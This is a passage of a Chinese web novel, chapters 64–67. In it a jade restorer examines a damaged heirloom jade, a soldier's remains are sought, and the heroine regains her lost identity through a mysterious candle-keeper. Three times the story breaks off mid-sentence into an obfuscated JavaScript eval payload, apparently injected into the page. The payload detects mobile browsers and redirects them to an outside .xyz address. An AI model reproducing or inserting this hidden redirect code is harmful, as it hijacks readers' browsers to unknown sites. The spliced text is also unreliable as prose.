小砂锅端上来,凌岓只看了一眼就理解彭越了——满满一碗肉沫,给人的第一印象是老板舍得用料;一根根吸饱汤汁的米线盘在碗里,看起来爽口顺滑;用来点缀的绿菜花样也不少,绿油油的小油菜、鲜嫩的韭菜、青白相间的葱花,还有专门备注少放的香菜。碗面上还飘着几小段鲜红的小米椒,各种颜色一应俱全,光是看就足以叫人垂涎三尺。 米线滑进肠胃,香气满溢唇齿;再配上一口微酸薄辣的热汤,说它够得上国宴的标准都不为过。一碗米线吃完,秋天的寒意也没有了,人心里也有了些热气。 恰在此时,彭越接到了一个电话。 电话那头是个年轻姑娘,是经人介绍专程来找彭越做玉器修复的客户。此时她就站在古玉斋门口,正对着门上的马蹄锁和留下的联系电话。 “我没外出,我吃饭呢。”彭越咽下一口汤,随时不忘推荐这家米线店,“你吃饭了没?你要没吃饭你也来吃,刚好可以先介绍介绍情况。就在我那店旁边左转第二家,叫滇味道。” 喝口汤的时间,打电话的人就找过来了。她要了一份小锅米线,然后在人群中精准地找到了彭越。 “您好,请问是彭老板吗?” 这个声音很熟悉,不久前刚刚听过——背对着收银台的凌岓一转头,是江云。 “真巧,你也在这儿啊。”江云惊讶于刚分别没多久的两个人只在短短一会儿就又碰到了。 “对,我也在。”凌岓一边拉开身旁的凳子,一边问,“你来金宁是为了找彭越?” “对。”江云点点头,“听说彭老板店里有一位老师傅,在玉器修复这一行很出名,所以特意过来请他帮忙。” 米线店出餐很快,就这么几句话的时间,小锅米线就已经端上来了。彭越摸摸肚子,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592807|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得没吃饱,于是又点了一份过桥米线。 “真不巧,阚师傅这两天不在,他说是家里有点事,昨天刚刚请的假。”彭越摊摊手,表示遗憾。 “不过你要是信得过我,可以先把情况说一说。如果不难的话,我也能修。” 江云犹疑了一下,决定先说,再给实物。 “是这样,我家里有一块祖传的玉玦。但不知道它是不是以前被摔过,缺了好几角,怎么看怎么觉得别扭。” “嘶,这可不好办了。”彭越一听,就知道这事有点棘手,“你要说磕了碰了我还能给你补好。再不然就是摔碎了,但碎片都还在,那也是可以修复的。可你这个是缺的多,还没有料子可以补,那就不好办了。” 闻言,江云失望地叹了口气,手里挂着米线的筷子也放回了碗里。 彭越最见不得浪费粮食,尤其还是他最爱的食物。看见姑娘兴致缺缺不吃饭,他赶紧继续说,“这样吧,一会儿吃完饭回店里,你先把东西给我看看再说。” 江云一听,又高兴起来,连声道谢后,才尝出这家米线的美味。 回到店里,彭越挂了一块“打烊中”的牌子,又把战友和顾客带进里面的房间,这才让江云把玉玦拿出来。 这玉玦通体雪白,因为缺了四个角,所以描述不出具体的形状;它看起来光泽极好,一点杂色都没有,摸起来的手感更是细腻温润,一看就是好玉。 凌岓看着这玉眼熟,却又不确定到底是不是自己曾经见过的那块。 “东西是好东西,就算有残缺,挂出去也能卖个非常可观的价钱。”彭越把放大镜拿开,“但要说修补,那实在难。且不谈工费,能不能找到差不多的料子都是个问题…” 门口的风铃响了,毛绒猴子叫出一声“欢迎光临”,走进来一个和江云差不多年纪的姑娘,中断了彭越继续往下说。 “你怎么回来了?不是请了五天假吗?”彭越面露不解,但也没忘了给另外两人介绍,“这就是阚铭阚师傅,在玉器修复上很有一套。” 阚铭冲两人点点头,然后又转过去对彭越说,“你有没有认识的人能帮忙找遗骨啊?” “找…找什么?”彭越瞪大眼睛,怀疑是自己听错了。 “找遗骨!”阚铭重复,“家里老人唯一的愿望就是找到太爷爷的遗骨,然后好好办个下葬仪式让他落叶归根。我们这些做小辈的也不能拒绝啊!” “大妹子,你有没搞错?我又不是大罗神仙,人活着我还能帮你打听打听,人都没了,我上哪给你找遗骨去?”彭越头摇得像拨浪鼓。 “我就想让你帮忙打听打听,我太爷爷是参加抗日的时候牺牲的。可那时候我奶奶年纪小,也不知道他牺牲的具体位置。” “那在哪场战役里牺牲的知道吗?” “不知道。”阚铭摇头。 “那你总得告诉我点信息吧!抗战时期那么多大大小小的战役,我怎么知道你太爷爷是在哪个战场上牺牲的?” “嗯,你等我再问问。”彭越说的对,阚铭当即拿着电话出去了。 江云在一旁听着,不知为什么,她总觉得找到遗骨不是件难事。 65. 第六十五章 阚铭接完电话,在纸上刷刷写下几个字,郑重其事地拍在桌子上,对彭越说,“老板,拜托了!” “行。”彭越拿过纸条,答应得很爽快,“回来!帮我看看这块玉。我是觉得不好修复,你看呢?要是有办法,就趁早给人修好。” 阚铭瞥了一眼玻璃台上的玉,一拍胸脯点点头,让老板放心。 她笑眯眯地给两位禾城来的客人沏了壶茶,把玉拿到一个小房间里关上了门。 麻雀虽小,五脏俱全。手套、口罩、镊子;显微镜、衬布、防护服…阚铭穿着打扮很利索,做事更是讲究专业高效。把与修复工作无关的人留在外面,一来避免他们着急,二来避免不懂行的人指指点点。工作时间,修复室闲人免进,就是老板也得在外等着。 看这专业的架势,江云很放心,不无羡慕地说,“我以前看过一个纪录片,叫‘我在故宫修文物’,特别佩服里面那些做文物修复工作的人。他们不仅学历高,一般还有非常高的耐心和细心,属于那种在体力和脑力上都很优秀的人。” “活到老学到老。你要真感兴趣,也可以抽空试着入个门。”看眼前人满脸羡慕的样子,凌岓觉得甚是可爱,“或者我先试试,要是我这种笨人都能学到一点,那你肯定没问题。” 江云笑了,一双眼睛亮晶晶的。 古董店有好几个玻璃展示柜,里面摆放着各种各样的首饰,材质不同,价格也不同。每排柜子上都放着一个黑色绒布盒和一双手套,是专门在客人试戴的时候用的。 墙上挂着“优秀商家”和“诚信经营”的牌子,牌子旁边是阚铭获得过的各种证书,还有和领导在颁奖活动中的合照。 合照下面的玻璃柜上放了一个“玉器古玩修复样品展示”的牌子,里面的东西从小到大码放整齐,以供来客参观欣赏。 最小的是一只黄绿色的玉蝉,下面的介绍牌上写着三行字。 第一行写着:惊蝉,材质为蓝田玉。 第二行写着:修复人:阚铭。 第三行是玉蝉的遭遇:因磕碰导致表面出现裂痕,此为耗时一周后的修复成果。玉蝉旁边有一张裂痕照片,能在上面看到明显的裂纹,再与实物一对比,现在果然一点碎裂的痕迹都没有了。 玉蝉旁边的是一盏莲花瓣形冰裂纹青瓷茶杯,因为在运输途中不慎磕碎了一角而被送到这里修复。仔细端详,茶杯上现下已经没有一点缺角的影子。 不止于此。阚铭的修复作品中,有名为草莓冰沙的玫瑰色玻璃鼻烟壶、红琉璃石榴花、紫檀木的妆奁,还有雀纹青铜锁、琥珀色蝶恋花纹玻璃水盂和紫色纳纱留青竹柄团扇。 最大的,也是其中耗时最长的是一个寿山石雕成的桃子摆件。摆件名为“蟠桃祝寿”,足有一米高,材质是寿山石中的名贵品种“桃花冻”。仔细看过去,寿桃的底色是白色的,只是白色之中有细密的红点,红点深浅不一,看上去倒真有几分半熟桃子的感觉。 这块寿桃是一位海外华人高价拍得的,在包装的过程中不小心掉落后,桃子尖上的那一角被摔没了。为了这一个蟠桃,阚铭东奔西跑了两年才找到质地和颜色都差不多的桃花冻石,加上修复用的一年,足足用了三年时间才把这蟠桃修复到本来的模样。 把所有的作品都看完了,阚铭也从小房间里出来了。她戴着手套,把玉玦小心放在绒布盒子里,对两个客人说: “修是可以修,只要你给我本来的形状图,我就有办法修复回原来的样子。” 江云的道谢还没说出口,阚铭又说,“现在最大的难题是去哪儿找这么一块玉。你这块玉颜色上足够白,质地细腻温润,油脂性好,结裂也非常少,最难得的是一点石花都没有,绝对是一块上好的、货真价实的羊脂玉。” “但问题就在于,这种玉料是可遇不可求的。最顶级的玉往往是独一无二的,颜色相近的未必有这么好的纯度,杂质少的又未必能有这么纯的颜色。你这块玉缺了不止一角,就算找到了,一块能不能修复的了还不好说,光是玉料的价格就不可估量。” 江云认真听完,多少有点失望。 凌岓在一旁听着,适时插话,“钱的问题不算大,主要是你说的玉料,这个最棘手。” 阚铭把玉玦放进一个丝绸锦盒里,交还给江云,又指了指那个寿桃,“这种极品桃花冻石都难找,更何况羊脂玉呢?运气好的话,或许一年两年就能碰到,运气不好的话,十年八年也未必有合适的料子。所以我个人的建议是先放着,别着急修复。我也会给你们留意着点,如果能遇到好料子,再补不迟;如果遇不到,你们也提前有个数。” 对方说得诚恳,江云也知道这种事情的确缘分所占的比重更大。故而她点点头,谢过阚铭,也采纳了专业人士的意见。 彭越听见外面的交谈,伸了个懒腰从电脑桌上起身,问道,“怎么样?有办法吗?” 凌岓摇摇头,“跟你说的差不多,不过人家比你更专业,也比你的建议更详细。” 彭越一听,反倒笑了,“这位可是正儿八经的博士毕业,本店的活招牌!我一个半路出家的当然比不过她啦。要不是她当时没考上…” “老板,快一下午了,您有消息了吗?”一听见彭越又要拿自己没考上国家级文物修复单位说事,阚铭赶紧打岔。 “额…我这不是来找外援了嘛!”彭越拍了拍凌岓,“我记得你之前说你有一朋友是包打听,能不能帮忙给她找一下。抗战时期牺牲的,那可是烈士,都是咱老前辈,你看这忙?” “帮!能带老兵回家是行善积德的大好事,哪有推辞的道理?你把现在有的信息给我,我一会儿就给你问去!”凌岓坚决答应,又说,“还有那不是包打听,那叫‘挑夫’!” “你管他叫什么呢!反正只要能帮上忙,收费多少我全掏。” “这话说的,就你有觉悟,我们都没觉悟。”凌岓摆摆手,“这你不用管了。” 纸条上写着:阚兴华,祖籍四川省广安市,1915年生人,最后一封家信落款所在地是长沙。 “就这些?”凌岓看着不算长的句子,作出同样的反应,“还有更详细的信息吗?” “没有了。就这已经是我能挖出来的所有信息了。”阚铭回答他,“我在专门寻找老兵的网站上发了帖,但目前还没有回信。长沙也去过了,烈士陵园里没有我太爷的名字,也不知道是不是在长沙牺牲的…” “我尽力吧。”凌岓把纸条上的信息拍给老郑,也不敢打包票,“但我估计,能打听到你太爷爷最后出现的地方就很不错了。毕竟年代太久远,再加上战乱,真要找最后埋骨的地方,估计是难。” 彭越还好说,素不相识的凌岓愿意帮忙,阚铭已经很感谢了,更不会强求别人一定要给个什么结果。 “如果能有你说的这种程度的信息就很好了,哪怕找不到具体位置,有个大概地点,我能去那儿挖点土回来也很好。” 她这话说得发自内心,毕竟已经过去了太长时间,就算是找到了具体牺牲的地点也必然不可能找到真实存在的遗骨——先烈的血肉早就和他们守护的国土融为一体了,那么能取一捧土回去,也算弥补了家人分隔几十年、连最后一面也没能见到的遗憾。 说定了事,彭越决定叫上大家一起吃个饭,就当给凌岓接风洗尘。 老西门向来是金宁入夜后最繁华的地段,吃晚饭的土菜馆开在这儿,可谓是赚足了客流。 彭越是出了名的老饕,还在部队的时候,就属他和炊事班的关系走得最近。炊事班长不仅做菜拿手,在品菜这方面更是有一套独门秘笈。跟着他,彭越也练就了一身会点菜、会吃菜、会品菜、会做菜的“四会”全能本领。也正因此,土菜馆的老板和他一见如故,时常请他过来尝新不说,每到逢年过节,更是会提前给他留好位置。 不同于推崇扫码点餐的新兴饭馆,土菜馆里的菜是经典做法,点餐的方式也很“经典”——厚厚的纸质菜单、一支圆珠笔夹在点菜专用的夹板便签纸上,服务员一上来先挨个倒满苦荞茶,然后再站在客人身边问忌口和喜好,主打一个热情推荐。 当然,资深老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624450|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主顾彭越不需要这种热情。他甚至连菜单都不用翻,只像报数一样报出十二道菜名,一桌丰盛又地道的美食就被送上桌了。 第一道松子熏肉用小砂锅盛着,铺满锅底的松子仁粒粒饱满,配上肥瘦相间的五花肉,叫人多看一眼都没法忍住不让口水往下掉的程度。 第二道贵妃鸡翅因杨贵妃而得名,是传说中杨贵妃在幼年时最爱吃的一道菜。十二个鸡翅,每一个都是翅中,没有带翅尖的;鸡翅还要事先经过腌制,再辅以猪油、冰糖和红萝卜调味,保证上桌的时候有金亮的色泽。按照原本的做法就足以让人垂涎欲滴了,再经土菜馆老板的改良,特意加了点葡萄酒和荔枝进去,更是让这道菜香甜诱人。 再往后,还有柴把笋、凤尾虾、锅贴干贝等味道各异的菜。统共五个凉菜,六个热菜,不算甜点还有一锅汤,光是看就让人大饱眼福。 酒水点了老板家自酿的竹叶菊花酒。酒的度数不高,入口香醇绵密不涩口,再加上竹叶和菊花的香气,堪堪称得上是极品。 推杯换盏间,彭越把自己这几年做生意时遇到的种种抖落了个一干二净,凌岓也把遇到过的各种奇事讲给他听。 江云本来在和阚铭闲聊,没注意凌岓在说什么。后者讲了自己的专业、自己毕业后以两分之差止步国家博物院文物修复岗的遗憾,还讲了在修复各种古玩玉器过程中的轶事。 等凌岓讲到六溪中元节的时候,坐在一边的两个姑娘便不再继续聊天了——这种听起来很有代入感的鬼故事很吸引人,远比流水账似的拉家常更让人感兴趣。 再加上这段时间以来洪钟的耳濡目染,凌岓把这些经历讲得跟传奇故事一样,直听得人拍手叫绝。 起先江云还是兴致勃勃地跟着凑热闹,用双手托着下巴全神贯注地听,可越到后面她越觉得奇怪——凌岓的这些经历听着耳熟,就好像自己亲身经历过一样。 讲到地下古城的时候,阚铭为那些和古城一起深埋地下的古文物扼腕叹息,而江云却觉得这经历似乎近在眼前,仿佛自己不久前刚刚从那里逃过一劫。 “所以你那朋友是在古城里遇难了?”彭越问。 “活不见人,死不见尸。我希望不是。”凌岓不自觉地看向江云,“希望她逃出来了,只是忘掉了之前发生的一切。” 江云低下头避过男人的目光,装作对自己和故事里的女孩一模一样的事情毫不知情。 “你是不是喜欢她?”打破尴尬的最好方法是抛出一个更尴尬的话题,阚铭就是这么做的,“你对那个失踪的朋友格外关注,对她的描述特别多,难道你自己没发现吗?” 凌岓干咳了两声,火速舀了一碗汤给自己。也不知是不是心虚作祟,总之他捞了好几勺,愣是一块芋头都没捞到。 彭越心善,接过汤勺一抄——满满一勺芋头全被他捞上来了。这下气氛更尴尬了,凌岓把头埋进碗里,用喝汤掩饰自己昭然若揭的心意。 偏偏阚铭是个打破砂锅问到底的主,不听到对方亲口回答绝不罢休,于是她再问第二遍,“我没说错吧?你是不是对人家姑娘有不一样的感情?” “没有,只是欣赏。”一碗热汤下肚,凌岓脸不红心不跳给出答案,“欣赏她独立、能干。” 好战友就是好战友,彭越紧跟着替他说话,“我相信他!就我兄弟这种人帅钱多性格好的男人,追他的人海了去了,肯定不会轻易对那么个冰山姐动心。” “也不是这个意思…” “哎哟你可别谦虚了!”彭越“剥夺”当事人的辩论权,自顾自说道,“想当年刚入伍的时候,还有青梅竹马专门来看他!每次我们一出去训练,路过的小姑娘就得冲他拍照,回头率百分百!” “不是青梅竹马,那就我妈单位同事的女儿。”凌岓疯狂解释,“她那时候是受我妈所托才去看我的,根本不是你说的那样…” 对这种话题江云向来不感兴趣,但不知为什么,她总觉得心里空落落的。彭越还在编排凌岓的“情感史”,江云站起身礼貌离席,“我去趟洗手间,你们先聊。” 66. 第六十六章 身份 修复玉玦之事暂告一段落,江云赶着一大早的高铁回禾城。回到岳青罗的家,刚巧看见她正在雕花。 岳青罗算是自由职业者。有时候她会四处跑,然后成为一名非全职旅游博主;但有时候她也做一些手工制品,尤以各种好看的手工蜡烛最受欢迎。江云进门时,她刚刚雕好一朵惟妙惟肖的山茶花。 “回来了?”蜡烛师傅头也不抬就知道是谁。 “嗯。”放下包,江云卷起袖子开始收拾地上的蜡烛碎屑。 “怎么样?玉的事情有说法吗?” “约等于没有。”阚铭说的话被原原本本复述过来,江云说,“这种料子难碰,真要等的话,也不知道是不是要到猴年马月去。” “听我一句,你这压根不是玉料的问题。”岳青罗给蜡烛装灯捻,似乎对玉玦的事很有把握,“你这不是普通人能修复的,等时间到了,它会有办法变完整的。” 江云看着自己这位神秘兮兮的朋友,不理解她如此笃定的来源在哪。 灯捻装完,岳青罗也不多解释,径直走进屋,从中拿出一个首饰盒递给一头雾水的江云:“你生日快到了,这是我送你的礼物。” 盒子里躺着一条手链,链条是黑色的,上面挂着一圈彩色水晶石。手链很长,单是在首饰盒里就盘了好几圈。熟悉的感觉又一次涌上心头,江云轻车熟路地把手链缠在腕上,便不觉得它长了,反而觉得刚刚好。 “谢谢青罗,刚好合适!” 岳青罗笑着轻轻摇头,问出一个试探性的问题:“你戴上它,有没有想到什么?” “想到什么?”江云不解。 “啊没什么。”送礼物的人欲言又止,“这是我专门去寺里给你求的,大师说戴上它有助于记忆恢复。” 江云点点头,并没觉得自己还忘掉了什么重要的事。但挚友出于一片好意,她也不能不领情,于是又郑重其事地道一遍谢,高高兴兴收拾房间去了。 对方的背影在眼前消失,岳青罗十分困惑地挠了挠头。她走进卧室,把墙上的挂画取下来,后面是一堵难以察觉的门。 门后才是岳青罗真正的工作地点。进门以后,有一屋子点燃的蜡烛,有的烛火烧得正旺,有的则只有一簇十分微弱的小火苗。除了燃烧的强弱,这些火苗的颜色也各不相同——有正常的橙黄色,也有淡淡的红色;有诡异的青蓝色,也有瘆人兮兮的灰白。 岳青罗走在不计其数的烛火之间,最后驻足于一盏蓝焰昙花形蜡烛前。单从火苗的跳动上来看,这盏蜡烛没有要熄灭的意思,蜡油滴在摆放它的台面上,花瓣已经烧掉了一半。 岳青罗小声嘟囔道,“是那老头骗人?还是我新加的灯油不够?” 捧着昙花站了好一会儿,岳青罗把它放回架子。她把挂在墙上的龟形壁灯取下来,打开灯罩,又用钎子把里面的灯芯挑了出来。 壁灯的灯芯也是点燃的火焰。只是这簇火苗是凉的,它虽然不跳动,但发出的光却十分稳定。岳青罗用手捏住灯芯根部,将火苗的尖端凑近了昙花蜡烛。瞬间,火花四溅——昙花蜡烛里的蓝焰窜出两米高,逼得人不得不往后退。 “真奇怪!”惊讶大于害怕,或者说,岳青罗根本就不害怕。 她改变策略,割下一绺头发放进烛芯,那两米高的蓝火焰才一节一节往回落。等回到正常高度,掌灯人又试着用灯芯给蜡烛助燃,结果仍是以失败告终。 从业十年,岳青罗从来没遇见过这样的情况。她托着腮在房间里绕了一圈,又准备更换策略。这次不再是用头发,而是先在左手腕上划出一条口子,再将伤口中流出的血液滴进蜡烛。她的血液是深蓝色的,一流进去,烛火便恢复到了正常的形状。 这一次再用灯芯对着烛芯就不再有意外了,昙花蜡烛的火焰颜色变成正常的橙黄色,边缘的花瓣也长回去了一点。灯芯被放回龟灯里,岳青罗一挥袖,手中赫然出现一根长长的船桨。 江云住在岳青罗家,据后者所说,这是她们合租的房子。她的房间里没太多东西,只有一个行李箱,几件夏秋季节的薄衣服,两双鞋和几本讲述心灵鸡汤的书。细算起来,也没有什么可收拾的必要,除了今天收到的手链,也就只剩下一根材质不明的银白簪子还值点钱。 对着镜子,江云不自觉把簪子别进了发间。几乎是同时发生的事——镜子里的人突然变了:面容更加清瘦、不苟言笑、眼神冰冷,就连江云自己都觉得陌生起来。 紧接着,江云的脑海里突然闪过一些画面。她试图让这些画面定格下来,可只要用力去想,脑袋就像要炸开一样难受,耳朵里也会出现听不清楚的嗡鸣声。 她看向镜子,惊讶地看着里面的面孔逐渐变得扭曲。恍惚间,有人进到了她的房间,一双冰凉细腻的手捂住她的耳朵,嗡鸣声立刻就消失不见了。 “别乱想,注意力集中。”岳青罗把下巴抵在江云的头顶上,明明她就在身后,可她的声音却像在千里之外,飘渺又空灵。 “看着镜子,告诉我,你看到了什么?” 江云按照身后人的指示照做,在镜子里,她看到一个中年男人从大片血泊中抱起一个不哭不闹的婴儿。她不记得这人是谁,但身体本能的反应是抗拒,不停地催她把目光从镜子上移开。 “别怕。”岳青罗用手顶住了颌下想动的脑袋,“看清楚,告诉我,你看到了什么?” “看到…看到有一个婴儿被人救出来了。” “然后呢?” “然后…” 然后是第九十九代骨医的成长轨迹。从一个小不点,成长为不爱多话却稳重可靠的大姑娘。中年男人在镜子里逐渐老去,鬓边有白发、身形更加佝偻;幼年时咋咋呼呼的小男孩也在镜中长大,长成一个棱角分明的高个男孩。 岳青罗看着镜子里的画面,又看了看江云渐渐凝固的表情,问她:“这老头是谁,你还记得吗?” “殷漠。” “殷漠是谁?” “我…师父?” 镜中的画面变成了真实存在的记忆。记忆如潮,涌进镜子前呆坐着的躯体,让人一时间无处逃避。 “这个男孩是谁?”岳青罗不依不饶,非要按着江云追根问底,“你还记不记得他叫什么?和你是什么关系?” “卫斯诚。”江云木木然开口,“我的,师弟。” “对,是你师弟。” 镜子里的画面依次流转过湔山、六溪,最后将古城陷落的全过程完整展现在镜外人眼前。 天崩地裂,以一己之力阻挡傀儡的姑娘力竭,就在她将要随着傀儡和最后的一座山一同陷入地底时,失踪许久的殷漠出现了。他一掌击碎了姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665761|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残存的意识,带着她走进山后的一处洞穴。 矮山崩塌后,原地扬起一阵呛人的尘土。洞穴仍屹立原地不倒,洞里发出奇异的彩光,似乎通向另一个世界。 殷漠带着自己的徒弟逃出生天后,又一次不声不响离开了。走之前,他把头被砸破的伤员托付给岳青罗,又叮嘱了好一阵,这才一步三回头地消失在门口。 “你总算醒了,还记得什么吗?”—— 江云全想起来了:自己醒来时所在的医院正是杨和安的私立医院。而岳青罗在一开始问的问题就很耐人寻味,似乎她一早就知道她的记忆会丢失。 “你叫江云,长江的江,白云的云。” “我叫岳青罗,青色的青,罗织的罗。我是你最好的朋友,听说你出车祸以后就一直在你身边…” “我,卫斯诚,和你从小一起长大的师弟…” “音同字不同,她是生姜的姜。” “活不见人,死不见尸…” “希望她逃出来了,只是忘掉了之前发生的一切。” …… 原来一切都有迹可循。原来对有些人、有些事所产生的那种奇怪的熟悉感并非空穴来风。一模一样的长相不是认错人;江云、姜泠,这两个听起来十分相近的名字也并非偶然——本就是一个人,只是短暂地忘却了自己的身份。 “我的眼睛?”姜泠看着镜子,第一次真真切切地看到了自己的样子。 “有人借你的。”岳青罗明白,眼前人已经全都想起来了,但她还不能把所有事情都告诉姜泠,只能对她说:“殷漠想办法为你借了一双眼睛,等时间到了,还是要还的。” “借谁的?”姜泠追问。 “这不能说。”岳青罗答,“你师父把你交托给我,就是为了让我帮你找到记忆。现在我的任务完成了,轮到你继续完成你的任务了。” “青罗。”刚刚找回身份的人犹豫不决,“我还可以这么叫你吗?” “当然。名字是真的,可以继续叫。” “你到底是什么人?我师父找你来,一定是信得过你。听你说话,你也一定不是一般人。” 岳青罗不做否认,但也不多说。姜泠的直觉很准,她的确是个身份神秘、工作神秘,哪哪都神秘的女人。 一盏漂亮的昙花蜡烛被岳青罗拿出来,她对姜泠说: “虽然我不能告诉你想知道的答案,但我可以告诉你:蜡烛燃尽的时候,就是你要还债的时候。我只能说这么多,其余的事情自有定数,你只要按照你的计划往下走就是了。祝你一切顺利。” 这番话说完,岳青罗便离开了这间屋子。姜泠回想最近发生的事情,不禁叹气——找回了身份,她反而不适应这种看得见光明的生活了。 铃声响起,熟悉的声音从电话里传来,是凌岓。 “江云,你有没有兴趣一起去趟衡阳?” “衡阳?” “对,阚铭的事情有眉目了。”凌岓斟酌了半天,还是决定直接说出口,“如果你愿意的话,我们可以一起去看看。或许应该可能可以帮上点忙。当然你不愿意的话也没关系,我…” “什么时候,在哪汇合?”姜泠问。 “后天早上,金宁站。” 答案脱口而出,凌岓这才后知后觉察觉到对方的反常。 67. 第六十七章 要说老郑在整个挑夫行当里都是数一数二的存在,不过一两天的时间,老郑就托关系打听到了当年和阚铭老太爷一个部队的老兵。老兵已经快九十岁了,家住在离衡阳市区不远的小村子里,腿脚虽然有些不利索,可精神头仍然好得很。 据老郑说,这位叫郭卫国的老人每年都会跑到附近的山头上,怀念牺牲的老战友们。每每回来,还都要给家中后辈再讲好几遍年轻时抗击外侮的英勇故事。也正因如此,才让老郑的朋友找到了他。 上车之前,姜泠和朋友们把话都说明白了。激动归激动,卫斯诚和洪钟还是决定等人办完正事回来再好好给她接风洗尘。一方面,阚铭的事近在眼前,得帮她办好。另一方面,卫斯诚最近查到了点关于刀疤脸的线索,他正打算深入追查。 正是枫叶火红的季节,沿线的青山也换了金黄的披风。复明的人看着以前从未见过的色彩,心生无尽感慨。按照岳青罗的说法,这双眼睛不知什么时候就会回到以前的状态,不如趁着还有机会多看看身边的景、身边的人。 同样有很多明亮的色彩,但秋天的美却是和春天完全不一样的。银杏、白杨、红杉树、火枫叶,走在衡阳街头,人会不自觉地被身边的景吸引住。 算不上舟车劳顿,加上彭越有意想在这儿顺便逛一圈,故而他不急着日夜兼程地赶路。不用上班,阚铭更是乐得其所——一下车,放了行李就照着攻略到附近找小吃去了。 姜泠每次出远门都是带着任务的,她向来习惯先办事再论其他,很不适应这种悠闲的节奏。到了酒店,她打算先制定一份大致的寻骨计划,但刚把笔记本拿出来,就有人敲响了她的房门。 “走吧,出去逛逛?” 凌岓推辞了彭越和阚铭同游的建议,为的就是能和姜泠单独相处。自从知道她的眼睛能看见以后,他心里早就窃喜了无数遍,好不容易碰见个机会,赶紧发出邀请。 偏偏姜泠在有些事情上长着一个钢筋脑子,除了工作,什么也不多想。她直接摇头拒绝,“你去吧,我得看看这次用什么办法能最快找到老前辈的埋骨地。” 凌岓偷偷看了一眼卫斯诚刚发来的消息,只见上面赫然写着:借找线索之名,约她去逛逛附近的景点,先诱敌深入,再一举歼灭。 “这都什么馊主意…”凌岓小声嫌弃,结果被姜泠听了去—— “你说什么?什么馊主意?” “我…我刚问斯诚,去探望九十岁的老人是不是应该带点什么。他给我推荐了牛板筋和果干,说特别好吃。可是九十岁的老人,牙都快掉没了,哪能咬动这些东西?所以我说他净出些馊主意。” “嗯,是够馊的。” “要不,咱俩一起去看看给老人家买点什么?顺便再打听打听有没有人认识这些老兵?” 听说要去打听消息,姜泠立马答应下来,临走的时候还不忘带上纸笔,随时准备把有用的东西记下来。 出门左拐,路过几栋写字楼和一条步行街,两人来到一个小公园。 “我们在这儿买东西?”姜泠面露疑问,“还是找这里的人打听消息?” “找这里的人打听消息,打听完我们再去买东西。”凌岓不知怎么,突然想起“诱敌深入,再一举歼灭”这句话了。他有点心虚,又向身边人解释,“公园里是老年人最多的地方,对以前的事他们估计更清楚,没准真能让我们问出点什么呢?” 姜泠将信将疑地点了点头,然后在看到同伴一转身拿来的两张游湖船票后,再一次陷入了沉思:“老年人,应该不会花钱去划船吧?” “哦我又想了想,公园里负责划船的这些工作人员平时能接触到各行各业的人,知道的事情肯定也不少。从他们这儿打探消息,指定不吃亏。” “是…吗?” “我保证!”面对质疑,攥着船票的人乍起四根指头发誓,“一切为了任务嘛。” 姜泠拿过船票,默不作声地走上游船,很想看看凌岓葫芦里卖的什么药。 暖阳和煦,秋风徐徐,一湖粼粼的秋波更让泛舟其上的人惬意无比。 这种仿古摇橹船划行的声音很好听,穿着橙色救生衣的船工人也很健谈。还没到湖中心,他就已经把衡阳值得游览的大街小巷统统介绍了一遍。说是打听消息,可凌岓自始至终只顾着问同行者吃不吃这个、喝不喝那个,一个有关阚兴华的问题都没问。 姜泠一杯又一杯喝茶,实在没等到她想听的话,这才趁着船工换手套的时间打断他的导游工作。 “我们刚来,还有个问题想请教您?” 船工一听“请教”二字,野史也不说了,趣闻也不讲了,直直挺起背,“你说!” “您能不能跟我们讲讲,衡阳经历过的比较大的战役?” “这个好说!”船工一拍胸脯,“三国的时候…” “哥,说点近现代的!尤其近代的,三国稍微有点远。”凌岓阻挡不了身边人“一心工作”的热情,于是也正经起来。 “近代嘛,最著名的就是衡阳保卫战,也叫衡阳会战,1944年发生的战役。”船工会了意,马上飞到近代史,“知不知道啥叫东方的‘莫斯科保卫战’?” 两人摇头。 “那知不知道我们衡阳为啥是全国唯一的抗战纪念城?” 两人继续摇头。 “四十七天,整整四十七天!我们衡阳在外无援军,内无弹药的境地下死守了四十七天!”船工很是骄傲,却也有点心酸,“从六月份到八月份,弹尽粮绝啊!那时候还有痢疾,再加上营养不良、缺医少药,现在人都不敢想他们是咋个把这座城市守住的!” 一番话勾出凌岓参军时的责任感了,他想说几句感慨,可船工没给他这个机会——“知道巷战不?”——船工又问。 这次两个人都点点头,这是从小就听过的。 “打到最后,都是巷战。那个时候不分百姓和军人,只要有个武器,都能上战场拼命!光是为了挖工事就牺牲了三千多人!还有小西门、回雁峰、岳屏山…用鲜血捍卫国土在我们衡阳人这里可不是一句空话!” 